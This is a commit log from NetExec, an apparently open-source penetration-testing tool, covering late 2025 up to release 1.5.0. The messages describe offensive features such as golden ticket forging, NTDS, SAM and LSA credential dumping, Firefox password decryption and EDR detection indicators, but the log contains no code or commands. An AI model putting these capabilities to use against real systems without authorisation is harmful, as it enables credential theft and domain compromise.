Compare commits

...
2260 Commits
Author SHA1 Message Date
Alex f1877176a5 Merge pull request #1048 from Pennyw0rth/v1.5.0-release
Release version 1.5.0 - Yippie-Ki-Yay
2025-12-24 17:33:14 +01:00
Alexander Neff 86444ab7f2 Release version 1.5.0 - Yippie-Ki-Yay 2025-12-24 07:45:30 -05:00
Alex 7c0892236d Merge pull request #1039 from Dfte/rdp_hosts
NXCDB RDP hosts
2025-12-23 01:13:37 +01:00
Alexander Neff c95b1a7165 Formatting 2025-12-22 19:10:51 -05:00
Alex 3209fafea6 Merge pull request #1046 from Pennyw0rth/neff-patch-1
Small logging adjustment
2025-12-22 23:39:30 +01:00
Alexander Neff 3cdc389fc3 Make logging consistent 2025-12-22 17:34:35 -05:00
Alex ddeadf3b3a Merge pull request #1038 from MaxToffy/dns-nonsecure
New module `dns-nonsecure`
2025-12-22 18:12:17 +01:00
Alexander Neff fc9aaceabe Use ldap attribute parsing and clean up code 2025-12-21 18:14:19 -05:00
Alexander Neff 4c0c19dee5 Don't decode dNSProperty ldap attribute and query root DN 2025-12-21 18:14:00 -05:00
Alex c5e2ad55e0 Merge pull request #1040 from Janrdrz/malwarebytes-indicator
enum_av module: add Malwarebytes EDR Agent indicator
2025-12-12 15:47:21 -05:00
Jan Rodriguez 7ad0224a1c enum_av module: add Malwarebytes EDR Agent indicator 2025-12-12 16:06:37 -04:00
Aurélien CHALOT 203e82f3fd Complete options 2025-12-12 15:51:51 +01:00
Aurélien CHALOT 29e17543bb Add nxcdb hosts [nla] 2025-12-12 15:42:38 +01:00
MaxToffy f78c212f04 Update log message for nonsecure dynamic updates
Signed-off-by: MaxToffy <[email protected]>
2025-12-12 12:13:48 +01:00
MaxToffy 5240a2ae30 New module 'dns-nonsecure' 2025-12-12 12:00:14 +01:00
Alex 69c87d2e7f Merge pull request #1034 from azoxlpf/feat/raisechild-aes
Add AES key support for golden ticket forging
2025-12-06 11:23:23 -05:00
Alexander Neff 2b0273a585 Simplify logic 2025-12-06 11:19:34 -05:00
azoxlpf 43f8c793ad simplify krbtgt key logging with dict lookup 2025-12-06 15:54:13 +01:00
azoxlpf 01e95888d1 move etype option to class variable 2025-12-06 15:48:24 +01:00
Alex 2cbf2448e8 Merge pull request #680 from MickeyDB/main
Added share exclusion functionality
2025-12-06 08:47:35 -05:00
Alexander Neff 471b300145 Strip down logic 2025-12-06 08:42:37 -05:00
Alexander Neff 8af35a01f8 Merge branch 'main' into exclude-shares 2025-12-06 08:35:45 -05:00
Alex 0c0c04d39c Merge pull request #648 from c4pit0ch3f/c4pi/simple_auth_fix
added support for LDAP simple auth
2025-12-06 08:21:25 -05:00
Alexander Neff 9439048b1a Add e2e tests 2025-12-06 08:11:59 -05:00
Alexander Neff ca49b09806 Remove outdated info 2025-12-06 08:08:55 -05:00
Alexander Neff d6a871e012 Remove local-auth concept from LDAP protocol 2025-12-06 08:03:37 -05:00
Alexander Neff 5598fb718e Remove local-auth arg as this does not exist in LDAP 2025-12-06 08:02:20 -05:00
Alexander Neff 46430af861 Disable signing when using simple bind as there is no signing/encryption 2025-12-06 08:01:30 -05:00
Alexander Neff d44b1097b8 Enforce that simple bind is only used with plaintext user:password login 2025-12-06 08:00:15 -05:00
Alexander Neff 147642cb74 Switch to fail message for strongerAuthRequired 2025-12-06 07:31:15 -05:00
Alexander Neff a3a352abb9 Add simple-bind flag and add error messages when signing/sealing is required 2025-12-06 07:29:16 -05:00
Alexander Neff 1509ab0bdb Remove unused smb variables 2025-12-06 07:20:26 -05:00
Alexander Neff 8a7af4b19e Add error message to ldap strongerAuthRequired error 2025-12-06 07:06:45 -05:00
Alexander Neff 712196f480 Merge branch 'main' into ldap-simple-bind 2025-12-06 05:58:26 -05:00
Alex 10127db5ac Merge pull request #939 from Dfte/mssql_cbt_rework
[MSSQL] Add EncryptionReq flag to MSSQL proto
2025-12-05 12:59:52 -05:00
azoxlpf 35e4b021aa Add AES key support for golden ticket forging 2025-12-05 18:39:18 +01:00
Alex 91150d5612 Merge pull request #759 from KriyosArcane/history
Add --history option for NTDS
2025-12-05 10:25:20 -05:00
Alexander Neff af0cf844d6 Move info to debug log 2025-12-05 09:21:08 -05:00
Alexander Neff 66f84dce5a Readd mssql timeout 2025-12-05 09:15:52 -05:00
Alex 61f41990ed Merge pull request #1033 from Pennyw0rth/neff-fix-1032 2025-12-05 08:22:40 -05:00
Alexander Neff ff4dcdadf4 Merge branch 'main' into nfs-db 2025-12-05 08:06:00 -05:00
Alexander Neff a6d95d8bae Fix description 2025-12-05 08:02:21 -05:00
Alexander Neff 09fcb9b0a3 Ensure enough arguments have been supplied to split 2025-12-05 08:02:09 -05:00
Alexander Neff 6fa2b7aace Fix #1032 to not create empty workspace, but return after help display 2025-12-05 08:01:29 -05:00
Alex 59cdb14ace Merge pull request #943 from Mauriceter/vnc-rbf33
BUG Fix: VNC, better handling of RFB 3.3
2025-12-03 09:58:55 -05:00
Alexander Neff c38b5377da Formatting 2025-12-03 09:55:44 -05:00
Mauriceter b9bf1b8102 Merge branch 'Pennyw0rth:main' into vnc-rbf33 2025-12-03 14:14:42 +01:00
Joachim De Bats c4116187b5 removed unsupported flag and checks before plaintext_login 2025-12-03 14:13:39 +01:00
Alex 0437747900 Merge pull request #1028 from Pennyw0rth/neff-fix-582
Insert FQDN instead of NETBIOS name into winrm db
2025-12-03 05:50:58 -05:00
Alexander Neff 1b3584d01f Insert FQDN instead of NETBIOS name into winrm db 2025-12-03 05:18:44 -05:00
Alex 1df94a1319 Merge pull request #1027 from Pennyw0rth/neff-update-impacket
Update impacket
2025-12-03 04:25:39 -05:00
Alexander Neff a455998548 Update impacket 2025-12-03 04:03:51 -05:00
Alex 6120b9302d Merge pull request #1020 from Testeur-2-stylos/enum-av-withsecure 2025-12-02 14:10:37 +01:00
Alex 7834917a40 Merge pull request #1026 from 4zuk4m/main
--no-admin-check flag for smb to disable the "admin check" with SC_MANAGER_ALL_ACCESS which is done by default
2025-12-02 13:51:23 +01:00
Alexander Neff d2659ecd8e Fix help text 2025-12-02 07:35:57 -05:00
Alexander Neff 50007fee59 Add e2e tests 2025-12-02 07:17:31 -05:00
Alexander Neff d8d55186b8 Don't add history hashes to db 2025-12-02 07:15:51 -05:00
Alexander Neff 4f91322692 Improve help text 2025-12-02 07:14:07 -05:00
Alexander Neff 4b68fcdecd Log how many kerb keys were dumped 2025-12-02 07:12:51 -05:00
Alexander Neff f3546d776b Add arg to dump kerberos keys 2025-12-02 07:07:30 -05:00
Alexander Neff 98e1ddf4a1 Enforce that history and enabled arg are mutually exclusive and fix history output 2025-12-02 06:43:51 -05:00
Alexander Neff 5b48857277 Clean up logic 2025-12-02 06:06:56 -05:00
Alexander Neff 7153472967 Remove dummy var 2025-12-02 05:58:16 -05:00
Alexander Neff 985adc1469 Rename function and hash to secrets 2025-12-02 05:57:13 -05:00
Zyp3 a61201c7d8 Change on the no admin check condition in check_if_admin to avoid double negation 2025-12-02 11:47:14 +01:00
Zyp3 2836374053 Change on condition of no admin check (previous code was wrong, i m tired) 2025-12-02 11:01:29 +01:00
Zyp3 6c879039b7 Added a 'no admin check' option for SMB to disable the default admin check via SC_MANAGER_ALL_ACCESS 2025-12-02 10:41:39 +01:00
Alex 7c295611a9 Merge pull request #1025 from azoxlpf/Fix/netbios-resolution-raisechild
Fix NetBIOS resolution in raisechild
2025-12-01 15:52:39 +01:00
Alexander Neff 30e7dec1be Store configuration context when enumerating target 2025-12-01 09:35:53 -05:00
azoxlpf 40323a77f6 add _get_domain_netbios 2025-12-01 14:34:48 +01:00
Alex 5601c95b78 Merge pull request #960 from azoxlpf/fix/mssql-xpcmdshell-permission-check
Fix/mssql xpcmdshell permission check
2025-12-01 12:26:29 +01:00
Alexander Neff 4d2e72c29a Remove dumma var 2025-12-01 06:22:44 -05:00
azoxlpf d5c0b5903d Display SQL error message when xp_cmdshell query fails 2025-12-01 11:57:36 +01:00
azoxlpf d3520c71df prefer IS_SRVROLEMEMBER + fn_my_permissions combo for permission check 2025-12-01 11:04:26 +01:00
azoxlpf a442db74ac ruff fix 2025-12-01 11:04:26 +01:00
azoxlpf ebcb4add65 fix ruff E702 2025-12-01 11:04:26 +01:00
azoxlpf f0fd30f854 add permission check to prevent false success on xp_cmdshell enable 2025-12-01 11:04:26 +01:00
Alex 586733e5e7 Merge pull request #1022 from Pennyw0rth/neff-remove-entra-sync
Remove duplicate module
2025-11-29 15:10:16 +01:00
Alex e5d51003e3 Merge branch 'main' into history 2025-11-29 13:45:47 +01:00
Alexander Neff 0c6b18a06a Remove duplicate module 2025-11-29 07:43:30 -05:00
Testeur-2-stylos 6b9a0fa8a2 enum_av : ruff checked 2025-11-28 10:15:16 +01:00
Testeur-2-stylos 4fa0cb3056 enum_av : modify WithSecure product name 2025-11-28 09:49:01 +01:00
Testeur-2-stylos 80a3c77cef enum_av : add WithSecure detector 2025-11-28 09:30:32 +01:00
Alex 7f588958e3 Merge pull request #768 from tiagomanunes/module-usercredman
Add credential manager dump feature to winrm protocol
2025-11-26 17:12:25 +01:00
Alex 46ba161784 Merge pull request #1017 from lebr0nli/fix-put-file
Fix issues with transferring large or non-UTF-8 data over NFS
2025-11-26 16:17:17 +01:00
Alexander Neff e3c0d9eed1 Update pynfsclient 2025-11-26 10:10:55 -05:00
Alexander Neff 14411310ed Abort upload if exists and voted no 2025-11-26 05:50:18 -05:00
Alexander Neff 3a65ad8228 Enquote paths 2025-11-26 05:49:40 -05:00
Alexander Neff 457f3e608f Update pynfsclient 2025-11-26 05:49:23 -05:00
Alan Li ea18a99810 Transfer data without decoding and use wtpref as the chunk size 2025-11-26 00:51:20 +08:00
Alan Li bd121ea40f Fix incorrect log output 2025-11-25 22:56:43 +08:00
Alex 74a1b39f6e Merge pull request #1014 from Pennyw0rth/neff-fix-s4u2self
Fix bug when using delegation
2025-11-25 14:52:29 +01:00
Alexander Neff 87d290deb6 Return session key to store ST 2025-11-25 08:28:15 -05:00
Alex f3cf3f9934 Merge pull request #1012 from lap1nou/db-mssql
fix: MSSQL db fix
2025-11-23 12:53:06 +01:00
Alexander Neff 7a1bb614e6 Add loggedin and admin relationships to db 2025-11-23 06:48:35 -05:00
lap1nou 64967da0db fix: MSSQL db fix 2025-11-22 22:18:49 +01:00
Alex bdfdcd3031 Merge pull request #1011 from Pennyw0rth/neff-add-priv-check-mssql 2025-11-22 19:13:30 +01:00
Alexander Neff 99ab1acd5a Fix sam/lsa dump if user is not local admin 2025-11-22 08:31:44 -05:00
Alex 8407071696 Merge pull request #1003 from Pennyw0rth/neff-add-mssql-sam-lsa
Add MSSQL LSA and SAM dump
2025-11-21 17:18:34 +01:00
Alex 60d8a71772 Merge pull request #968 from hilarex/patch-1
Update firefox.py for new AES-256-CBC encryption (fix dpapi error)
2025-11-21 17:07:25 +01:00
Alex 9d176da35b Merge pull request #1008 from lap1nou/add-computer-db
feat(db): adding add-computer credential
2025-11-21 17:06:07 +01:00
Alexander Neff 37e5bb4671 Formatting 2025-11-21 11:03:41 -05:00
Alex b49532045c Merge branch 'main' into patch-1 2025-11-21 17:01:40 +01:00
Alexander Neff cf9b89e26c Formatting 2025-11-21 11:01:06 -05:00
Alexander Neff 83bc8bd181 Fix logging in group-mem 2025-11-21 10:50:02 -05:00
Alexander Neff b90be108c4 Remove unused vars 2025-11-21 10:48:29 -05:00
Alexander Neff 068874517f Fix debugging params 2025-11-21 10:47:50 -05:00
Alexander Neff 77b9c2aecd Fix password field 2025-11-21 10:46:05 -05:00
Alexander Neff 4ffc19c3a2 Fix name/accountname vars 2025-11-21 10:45:36 -05:00
Alexander Neff 01ba023b1f Fix deletion of computers via ldap 2025-11-21 10:19:36 -05:00
Alexander Neff b98d07173b Move variables to where they belong to prevent crash on deletion 2025-11-21 10:18:47 -05:00
Alexander Neff 31587e219a Simplify logic 2025-11-21 10:07:37 -05:00
Alexander Neff 4dc1bba7e4 Fix logic issues and formatting 2025-11-21 09:58:28 -05:00
Alexander Neff 7a841f6396 Use fail instead of highlight for failures and formatting 2025-11-21 09:30:24 -05:00
Alexander Neff d536372de7 Make context and connection module variables 2025-11-21 08:43:24 -05:00
Alexander Neff 9627d4ba86 Fix hash usage 2025-11-21 08:41:23 -05:00
Alex 308c44c18e Merge pull request #1010 from Pennyw0rth/neff-fix-deprecation-warning 2025-11-21 13:04:24 +01:00
Alexander Neff e6da5ad54e Mute pypsrp logger 2025-11-21 07:01:56 -05:00
Alexander Neff 6cb3bb6627 Fix import to fix sqlalchemy deprecation warning 2025-11-21 06:53:40 -05:00
Alex ab5989b0f5 Merge pull request #1009 from Janrdrz/kaseya-indicator
enum_av module: add Kaseya EDR Agent indicator
2025-11-21 12:50:18 +01:00
Jan Rodriguez c196a0d2e5 enum_av module: add Kaseya EDR Agent indicator 2025-11-20 16:59:45 -04:00
lap1nou 19886c077a feat(db): adding add-computer credential 2025-11-19 22:01:45 +01:00
Tiago Nunes f5dc6c4b2b Filter out empty credentials, like dploot 2025-11-19 19:31:52 +01:00
Tiago Nunes 9f9fe2f55b Improve logging 2025-11-19 19:28:32 +01:00
tiagomanunes fcf36d7dda Merge branch 'main' into module-usercredman 2025-11-19 18:18:32 +01:00
Alex 0573fac29e Merge pull request #1005 from lap1nou/change-password-db
feat(db): modified the change-password module to modify the password in DB
2025-11-19 11:04:20 +01:00
Alexander Neff d5beffc4c9 Readd user cred deletion in case there is a hash and we want to add pw (and vice vers) 2025-11-19 04:42:55 -05:00
Alexander Neff 987db4e76f Fix deleting multiple cred ids 2025-11-19 04:42:32 -05:00
Alexander Neff 2f7234dd12 Remove inner exception handling so that pws are not updated if password change failed 2025-11-19 04:23:15 -05:00
Alexander Neff 6a1c2a168d Only update credentials 2025-11-19 04:22:52 -05:00
Alexander Neff 4f8667b00b Add e2e-tests 2025-11-19 03:55:41 -05:00
Alexander Neff c425cefa25 Remove duplicate cred gathering group 2025-11-19 03:54:45 -05:00
Alexander Neff 7dc7ba946e Merge branch 'main' into neff-add-mssql-sam-lsa 2025-11-19 03:52:21 -05:00
lap1nou 07a341fcac feat(db): modified the change-password module to modify the password of the user in the DB if it's changed 2025-11-19 00:53:49 +01:00
lap1nou 684836f6c4 feat(db): modified the change-password module to modify the password of the user in the DB if it's changed 2025-11-19 00:39:34 +01:00
Tiago Nunes df1d200174 Merge branch 'main' into module-usercredman 2025-11-18 21:28:36 +01:00
Alex d1131975ca Merge pull request #1004 from Pennyw0rth/neff-improve-help-page
Remove useless option group subtitles
2025-11-18 21:03:59 +01:00
Alexander Neff 21897fdb3e Remove useless option group subtitles 2025-11-18 13:01:04 -05:00
Alexander Neff 123b14314f Remove unnecessary dump-method arg 2025-11-18 12:51:28 -05:00
Alexander Neff 09d52f60af Fix filename for sam dump 2025-11-18 12:39:11 -05:00
Alexander Neff 3a42297eaf Fix winrm sam/lsa dump output path 2025-11-18 12:38:22 -05:00
Alexander Neff 86ed02d68a Fix logging for lsa dump 2025-11-18 12:37:57 -05:00
Alexander Neff 16609eccfe Add --lsa and --sam dumping to mssql 2025-11-18 12:37:30 -05:00
tiagomanunes a0c69af12f Merge branch 'main' into module-usercredman 2025-11-17 18:24:56 +01:00
Alex e1729b19c1 Merge pull request #657 from XedSama/drop_library_ms
New module : drop-library-ms
2025-11-17 15:55:11 +01:00
Alexander Neff 2102847591 Fix e2etests 2025-11-17 06:57:53 -05:00
Alexander Neff d19d24d4fd Formatting 2025-11-17 06:42:51 -05:00
Alexander Neff 5474d64579 Formatting 2025-11-17 06:34:48 -05:00
Alexander Neff a2fa01a09a Formatting 2025-11-17 06:34:20 -05:00
Alexander Neff e782f0a17c Add IGNORE option as this exists in the code 2025-11-17 06:33:36 -05:00
Alexander Neff c2726f7a16 Make name required otherwise you don't know the name to delete it 2025-11-17 06:32:08 -05:00
Alexander Neff 965f1976bb Remove unnecessary check 2025-11-17 06:30:15 -05:00
Alexander Neff affeed0c4e Fiy syntax errors and update module specs 2025-11-17 06:27:22 -05:00
Alex a9c97ab93d Merge branch 'main' into drop_library_ms 2025-11-17 12:23:15 +01:00
Alex fb282369ee Merge pull request #825 from gatariee/feat-rbcd
added support for `--generate-st` and `--delegate-spn` flags
2025-11-16 14:02:39 +01:00
Alexander Neff 4fd412b9df Use remoteName instead of manually building the target string 2025-11-16 07:57:50 -05:00
Alexander Neff 5161cbab03 Prevent .ccache.ccache filename 2025-11-16 07:53:32 -05:00
Alexander Neff 6f928782dc Formatting 2025-11-16 07:51:45 -05:00
Alexander Neff 9f4246cf2d Formatting 2025-11-16 07:30:43 -05:00
Alexander Neff a829e958e6 Merge branch 'main' into rbcd-spn 2025-11-16 07:30:23 -05:00
Alexander Neff 718cbdb27c Formatting 2025-11-16 07:29:00 -05:00
tiagomanunes 11e670a6f0 Merge branch 'main' into module-usercredman 2025-11-16 12:37:19 +01:00
Alex 0fcba561d7 Merge pull request #1000 from Pennyw0rth/neff-fix-#999 2025-11-16 11:12:09 +01:00
Alexander Neff fa9f876287 Make --debug and --verbose mutually exclusive 2025-11-15 17:07:55 -05:00
Alex d4b2ed0764 Merge pull request #997 from Pennyw0rth/neff-fix-mssql-exec
Add error checking to mssql_exec
2025-11-15 15:25:16 +01:00
Alex 4e5027d257 Merge branch 'main' into neff-fix-mssql-exec 2025-11-15 14:41:14 +01:00
Alex 5986caa4c1 Merge pull request #998 from Pennyw0rth/neff-swap-impacket-branch
Switch impacket back to fortra
2025-11-15 14:37:40 +01:00
Alexander Neff c86e8fd333 Switch impacket back to fortra 2025-11-15 08:20:14 -05:00
Alexander Neff 85b224cb1e Fix output type to satisfy splitlines() 2025-11-14 09:10:54 -05:00
Alexander Neff fd0d0b2909 Remove unused import 2025-11-14 08:50:51 -05:00
Alexander Neff bdf47959dc Add check for error when the mssql query failed 2025-11-14 08:50:34 -05:00
Alex 277e05eb83 Merge pull request #981 from azoxlpf/fix/certipy-find-kerberos-auth
Fix Kerberos authentication handling in certipy-find
2025-11-14 13:01:44 +01:00
Alexander Neff 12134998e3 Formatting 2025-11-14 06:57:01 -05:00
Alex 653352cb3d Merge pull request #792 from azoxlpf/feat/raisechild
Add raisechild module
2025-11-13 18:54:29 +01:00
Alex f3211ddf34 Merge pull request #995 from Pennyw0rth/neff-fixes
Polish #895 and fix numerous bugs
2025-11-13 14:05:05 +01:00
Alexander Neff a87143d27f Fix #878 by adding a general FileNotFound exception handling 2025-11-13 07:00:59 -05:00
Alexander Neff 67ddd28ba2 Fix #889 by adding a proper fail message when nopac with null auth is used 2025-11-13 06:36:40 -05:00
Alexander Neff 0bfa8fb3b5 Fix #892 by setting remoteName of the connection 2025-11-13 06:28:25 -05:00
Marshall Hallenbeck 86bf9d446d fix(samr/lsa): support hash authentication; fixes #871 2025-11-13 06:16:23 -05:00
tiagomanunes 1a080f0624 Merge branch 'main' into module-usercredman 2025-11-12 21:03:23 +01:00
Alex fe8d9bc27c Merge pull request #994 from Pennyw0rth/neff-fix-sccm
Fix encoding issue and use proper LDAP attr parsing in SCCM module
2025-11-12 15:30:39 +01:00
Alexander Neff 3c30b9c9f3 Remove unused import 2025-11-12 09:26:16 -05:00
Alexander Neff 2dbae0b5ae Fix encoding issue and use proper ldap parsing 2025-11-12 09:23:42 -05:00
Alex 972c3dfd6a Merge pull request #982 from stfnw/ldap-database-signing-channelbinding
Add LDAP signing and LDAPS channel binding info to db
2025-11-12 15:09:25 +01:00
Alexander Neff 1ea2d8ce1c Readd table columns for signing&cbt 2025-11-12 09:04:27 -05:00
Alexander Neff bd1aec630d Merge branch 'main' into ldap_cbt_db 2025-11-12 09:02:25 -05:00
Alex cb9ad2d6b8 Merge pull request #727 from Pennyw0rth/database_rework
Database rework
2025-11-12 13:13:54 +01:00
Alexander Neff 34f769cb6e Remove unused import 2025-11-12 07:01:50 -05:00
Alexander Neff 80d2f4b6b4 Use nxc_logger for reflection error messages 2025-11-12 07:00:09 -05:00
Alexander Neff d0a7ba097e Formatting 2025-11-12 04:35:38 -05:00
Alexander Neff 13b4823e9a Merge branch 'main' into database_rework 2025-11-12 04:29:37 -05:00
Alexander Neff d443ddec92 Formatting 2025-11-12 04:25:34 -05:00
Alexander Neff 5db48461c2 Fix function description 2025-11-11 08:34:46 -05:00
Alexander Neff d66adbf969 Formatting 2025-11-11 08:34:27 -05:00
Alexander Neff a7618dc43f Formatting 2025-11-11 07:26:15 -05:00
Alexander Neff de0aa37450 Move function 2025-11-11 07:26:01 -05:00
Alex ab9a47386c Merge pull request #991 from Pennyw0rth/neff-fix-nfs-ls
Fix dir listing on NFS
2025-11-11 11:15:46 +01:00
tiagomanunes 527c9bf8b4 Merge branch 'main' into module-usercredman 2025-11-11 10:34:49 +01:00
Alex 3dfd421810 Merge pull request #990 from Janrdrz/forti-indicators
enum_av module: add FortiClient and FortiEDR indicators
2025-11-11 10:10:08 +01:00
Alexander Neff 343d1ce9dc Update pynfsclient 2025-11-11 03:59:12 -05:00
Alexander Neff 3c8d5b209f Continue requesting dir listing data if more entries can be fetched 2025-11-11 03:58:58 -05:00
Jan Rodriguez da7425ddf9 fix: { typo 2025-11-10 22:02:36 -04:00
Jan Rodriguez a1be84cec4 enum_av module: add FortiClient and FortiEDR indicators 2025-11-10 21:45:44 -04:00
azoxlpf 052ad2335c move from ticketer import to manual PAC/TGT build 2025-11-10 22:33:13 +01:00
Alex cfa3812a4e Merge pull request #988 from augustus-7613/fix-typo-in-winrm-args
fix: Correct typos in WINRM argparse
2025-11-10 21:43:07 +01:00
augustus-7613 59fa75c8e4 fix: Correct typos in WINRM argparse 2025-11-10 18:40:37 +01:00
Joachim De Bats 2b38c865c8 removed stypes from host info 2025-11-10 14:30:28 +01:00
Alexander Neff 4b90445fc0 Simplify logic 2025-11-09 17:20:32 -05:00
Alexander Neff 1311a2aa11 Fix description 2025-11-09 17:20:23 -05:00
Alexander Neff eac3253c90 Simplify logic 2025-11-09 16:37:54 -05:00
Alexander Neff 29a89d40c4 Directly use connection values 2025-11-09 16:28:08 -05:00
Alexander Neff 5353f6b6a5 Remov unnecessary checks 2025-11-09 16:09:12 -05:00
Alexander Neff 2ba4604ca3 Move contributor name to class desc 2025-11-09 16:08:50 -05:00
Joachim De Bats 82f2892a14 rename sec to stypes 2025-11-07 15:13:45 +01:00
Joachim De Bats dc251ce751 moving probing to enum_host_info and fixing issues with stype 1 2025-11-07 11:18:59 +01:00
Mauriceter bb63598ba7 Merge branch 'Pennyw0rth:main' into vnc-rbf33 2025-11-07 09:36:15 +01:00
hilarex 8d8f7955f9 Fix 3DES decryption for older Firefox versions by truncating keys to 24 bytes
Signed-off-by: hilarex <[email protected]>
2025-11-06 09:42:59 +01:00
azoxlpf 68fc9b8bf2 replace gettatr with connetion.args.dns_server 2025-11-03 15:00:43 +01:00
Alex 5a5c63f50b Merge pull request #983 from Pennyw0rth/neff-fix-#980
Fix RDP execution without output
2025-11-03 14:27:32 +01:00
Alexander Neff d24304a348 Replace static 'lodos' strings with 'test' 2025-11-03 07:59:27 -05:00
Alexander Neff 63b6d2bf08 Make mssql coerce description more accurate 2025-11-03 07:58:56 -05:00
Alexander Neff d5dd1c1b15 Move logic of clipboard check into case when we want to get the output 2025-11-03 07:54:44 -05:00
Stefan Walter 34f624fdc8 Add LDAP signing and LDAPS channel binding info to db
Closes #731
2025-11-02 16:52:24 +01:00
azoxlpf 34b716b22a neff requested changes 2025-11-02 15:06:00 +01:00
azoxlpf 564fc1e23c remove unnecessary comment 2025-11-01 22:02:48 +01:00
azoxlpf a3e14fe25a Fix Kerberos authentication handling in certipy-find 2025-11-01 21:41:37 +01:00
tiagomanunes a38cd132fc Merge branch 'main' into module-usercredman 2025-11-01 13:14:43 +01:00
Alex 4260e51c36 Merge pull request #977 from Pennyw0rth/neff-fix-#976
Fix nxcdb signing export
2025-10-29 15:08:21 +01:00
Alexander Neff 281833ef4c Fix nxcdb signing export 2025-10-29 09:54:16 -04:00
Alex 5454d63b1e Merge pull request #925 from danwroy/print-to-log
Changed print() statements to new print-only logging method
2025-10-27 10:53:35 +01:00
Alexander Neff d344651a5a Use context logger instead of nxc_logger 2025-10-27 05:32:13 -04:00
danwroy 08fb634d7d print to display in helpers/modules, restored version print in cli
even6_parser, pfx, get-network
Database-related modules left alone
2025-10-26 23:31:06 -07:00
Alexander Neff 6ef6cf6c92 Remove manual proto runner 2025-10-26 16:15:30 -04:00
Alex da7a808294 Merge pull request #975 from Pennyw0rth/neff-fix-procdump 2025-10-26 21:01:33 +01:00
Alexander Neff 6df750462d Update spec file 2025-10-26 15:14:05 -04:00
Alexander Neff bc77940a34 Clean up code 2025-10-26 15:08:44 -04:00
Alexander Neff e8d042d53a Fix import problem and return on error 2025-10-26 15:02:32 -04:00
Alexander Neff 1f06f558d9 Formatting 2025-10-26 14:52:17 -04:00
Alexander Neff 5c2d42c68e Update procdump executable 2025-10-26 14:52:17 -04:00
Tiago Nunes 42b44b63d2 Merge branch 'main' into module-usercredman 2025-10-24 18:44:49 +02:00
Alex 58e0f2f144 Merge pull request #970 from Pennyw0rth/neff-fix-#967 2025-10-24 14:52:55 +02:00
Alexander Neff eb42f7bb06 Prompt fail message if no files could be extracted 2025-10-23 07:12:25 -04:00
Alexander Neff 75e4656356 Use smbexec for smb proto as it is the most reliable 2025-10-23 07:12:05 -04:00
Alexander Neff 4fc3d463b3 Fox kerberoast test 2025-10-23 06:03:48 -04:00
Alexander Neff abf360f951 Formating 2025-10-23 05:14:21 -04:00
Alex 07c6bf6ccb Merge pull request #941 from crosscutsaw/dump-computers_fix
Update dump-computers.py
2025-10-22 23:39:25 +02:00
Alexander Neff f8d2ffafe6 Improve description 2025-10-22 17:36:11 -04:00
Alex 003043a3a3 Merge pull request #962 from azoxlpf/enhancement/schtask_as-adcs-reliability
feat(schtask_as): improve ADCS certificate handling and PFX retrieval
2025-10-22 23:32:00 +02:00
Alexander Neff 37868a127f Formating 2025-10-22 17:28:09 -04:00
Alexander Neff 04b3ffef58 Remove unused imports 2025-10-22 23:19:54 +02:00
Alexander Neff f9ec46eb51 Fix double logs directory path 2025-10-22 23:14:04 +02:00
Alexander Neff af3677ebb6 Remove replace call to ensure windows compatability 2025-10-22 22:51:16 +02:00
Alexander Neff bfbfaa954c Use file format from connection object 2025-10-22 22:50:43 +02:00
Alexander Neff f8e69c12cd Refactor filename templating for logs 2025-10-22 22:32:50 +02:00
crosscutsaw 35885b51d1 Update dump-computers.py
Signed-off-by: crosscutsaw <[email protected]>
2025-10-22 20:11:14 +03:00
azoxlpf 56b74aed8c remove certificate from user store after PFX export 2025-10-22 17:21:46 +02:00
Alexander Neff 55a80ecda5 Add short delay for check so cleanup is through 2025-10-22 11:15:49 -04:00
Alexander Neff b3384a0971 Remove dependency to get-output-tries 2025-10-22 10:32:16 -04:00
Alex bdd3722f48 Merge pull request #969 from Pennyw0rth/neff-improve-computers 2025-10-22 14:26:01 +02:00
Alexander Neff 9e8a8b7c40 Query the samaccountname instead of queryint the name and appending the dollar sign 2025-10-22 06:39:48 -04:00
hilarex 4ca939c96a Update firefox.py for new AES-256-CBC encryption
Add Firefox 144+ password decryption support

- Support new AES-256-CBC encryption format (16-byte IV)
- Extract all master keys from NSS database (Firefox 144+ uses multiple)
- Expand keys to 32 bytes using SHA-256 when needed
- Maintain backward compatibility with legacy 3DES-CBC format
- Try all available keys until successful decryption

Signed-off-by: hilarex <[email protected]>
2025-10-22 10:09:36 +02:00
danwroy 742ed96f7f Removed print_msg(), convert to display() 2025-10-20 14:39:24 -07:00
azoxlpf 7fc7806df0 Update 120s to 60s 2025-10-20 13:54:22 +02:00
azoxlpf cbd218fd0c feat(schtask_as): improve ADCS certificate handling and PFX retrieval 2025-10-17 16:50:36 +02:00
tiagomanunes c77130298e Merge branch 'main' into module-usercredman 2025-10-17 15:01:14 +02:00
Alex 3d407b47a4 Merge pull request #961 from Pennyw0rth/neff-fix-winrm-ps-output
Fix winrm output for powershell
2025-10-17 08:46:19 -04:00
Alexander Neff 0da48a35a4 Improve code for printing the PS streams 2025-10-17 07:59:03 -04:00
Alexander Neff b232520362 Fix winrm output when executing powershell 2025-10-15 10:42:03 -04:00
tiagomanunes 88affc91fa Merge branch 'main' into module-usercredman
Signed-off-by: tiagomanunes <[email protected]>
2025-10-13 18:23:16 +02:00
Alex 136b45cf28 Merge pull request #957 from Pennyw0rth/neff-fix-winrm-errors
Add stderr printing to winrm execution
2025-10-13 08:40:40 -04:00
Alexander Neff 4d637bcdaf Remove unused import 2025-10-13 08:36:49 -04:00
Alexander Neff 594c3b9f75 Add stderr printing to winrm execution 2025-10-13 08:33:25 -04:00
tiagomanunes ec0ed97f72 Merge branch 'main' into module-usercredman 2025-10-08 10:50:23 +02:00
Alex f981215d77 Merge pull request #952 from Pennyw0rth/neff-fix-bh-stacktrace
Catch dns resolver issue when domain can't be resolved
2025-10-07 13:41:30 -04:00
Alexander Neff bc5e842d69 Remove unused returns 2025-10-07 13:38:18 -04:00
Tiago Nunes d3b324d001 Select correct masterkey based on DPAPI_BLOB metadata 2025-10-07 19:37:25 +02:00
Alexander Neff e22b41d6d0 Catch errors from the bloodhound run 2025-10-07 13:35:31 -04:00
Alexander Neff 1ae8c5a148 Also catch NoNameservers 2025-10-07 13:32:30 -04:00
Alexander Neff dece6b0177 Catch dns resolver issue when domain can't be resolved 2025-10-07 13:28:30 -04:00
tiagomanunes d6650a0db7 Merge branch 'main' into module-usercredman 2025-10-07 18:56:44 +02:00
Alex 1f04ce2feb Merge pull request #951 from Pennyw0rth/neff-fix-backup_operator
Readd removed code
2025-10-07 12:41:15 -04:00
Alexander Neff ad71df8031 Readd removed code 2025-10-07 12:16:12 -04:00
tiagomanunes cb3cd3dd7b Merge branch 'main' into module-usercredman 2025-10-05 19:13:11 +02:00
